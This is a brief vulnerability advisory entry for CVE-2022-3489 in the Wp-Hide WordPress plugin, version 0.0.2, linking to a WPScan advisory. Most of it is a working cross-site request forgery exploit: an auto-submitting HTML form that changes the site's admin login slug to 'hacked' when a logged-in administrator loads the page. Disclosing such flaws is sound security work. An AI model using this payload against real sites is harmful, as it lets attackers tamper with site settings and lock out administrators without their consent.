CVE: CVE-2022-3489

Name: Wp-Hide (wp-hide)

Version: 0.0.2

Date: 2022-09-18 00:24:14

Advisory: https://wpscan.com/vulnerability/36d78b6c-0da5-44f8-b7b3-eae78edac505

Type: Arbitrary Settings Change

Exploit: 


<form action="https://example.com/wp-admin/admin-post.php" method="POST">
    <input type="text" name="custom_wpadmin_slug" value="hacked">            
</form>                                                 
<script>               
    document.forms[0].submit();                                                                  
</script>